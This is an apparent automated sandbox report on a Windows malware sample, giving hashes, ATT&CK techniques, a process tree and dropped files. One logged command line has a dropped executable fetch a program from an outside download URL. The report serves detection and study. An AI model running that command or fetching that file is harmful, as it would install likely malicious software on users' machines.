2cff53385ef88bafd89edd5dc3ba0cfcbfe6687e8639b624533c8d788f3b9df1

Analysis

max time kernel
141s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
26/12/2023, 07:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5d0e61c6118a8c5dafa089299a7f19b2.exe
Size

196KB
MD5

5d0e61c6118a8c5dafa089299a7f19b2
SHA1

56716ec76741177d67dbcbbd5022900680949e77
SHA256

2cff53385ef88bafd89edd5dc3ba0cfcbfe6687e8639b624533c8d788f3b9df1
SHA512

5ed25cfb891427f8713fc6270c97f0b10ffe687a2c702070f6fa1619f18598549e46747c6fd0496c66891d60eb86b687f8ca1311366ad4281d0c388935b4ee8a
SSDEEP

6144:FTfFDbRnOTrPAeFqOAmJDyCTkT3Nq2le4ctvMoIvj:b5OAeFHDTd2le7Gj

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	5d0e61c6118a8c5dafa089299a7f19b2.exe

Executes dropped EXE 1 IoCs

pid	Process
1524	fdn21.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1524	fdn21.exe
1524	fdn21.exe
1524	fdn21.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 380 wrote to memory of 1524	380	5d0e61c6118a8c5dafa089299a7f19b2.exe	90
PID 380 wrote to memory of 1524	380	5d0e61c6118a8c5dafa089299a7f19b2.exe	90
PID 380 wrote to memory of 1524	380	5d0e61c6118a8c5dafa089299a7f19b2.exe	90

C:\Users\Admin\AppData\Local\Temp\5d0e61c6118a8c5dafa089299a7f19b2.exe
"C:\Users\Admin\AppData\Local\Temp\5d0e61c6118a8c5dafa089299a7f19b2.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:380
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\fdn21.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\fdn21.exe" "http://download.youbak.com/msn/software/partner/PARTNER2056.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RarSFX0\fdn21.exe

Filesize
228KB

MD5
e1070592a229cca6237a8d2009e242ff

SHA1
69456a105adb38867a181d73e20c7181d9e903be

SHA256
26e1c3841129fe340ceba8a9d2baeaa34bf6165ce0ffa1fdca2cca1141f36398

SHA512
ade43347723bc863f0630c151d7698072314096b9c5cde4b1b2ac4a124dc57860dc34accd844d205e2c78337acbcd7c928a6f8bcac271d410f4e4600c0d4cb80

Download Submit
memory/380-12-0x0000000000400000-0x0000000000423000-memory.dmp

Filesize
140KB

Download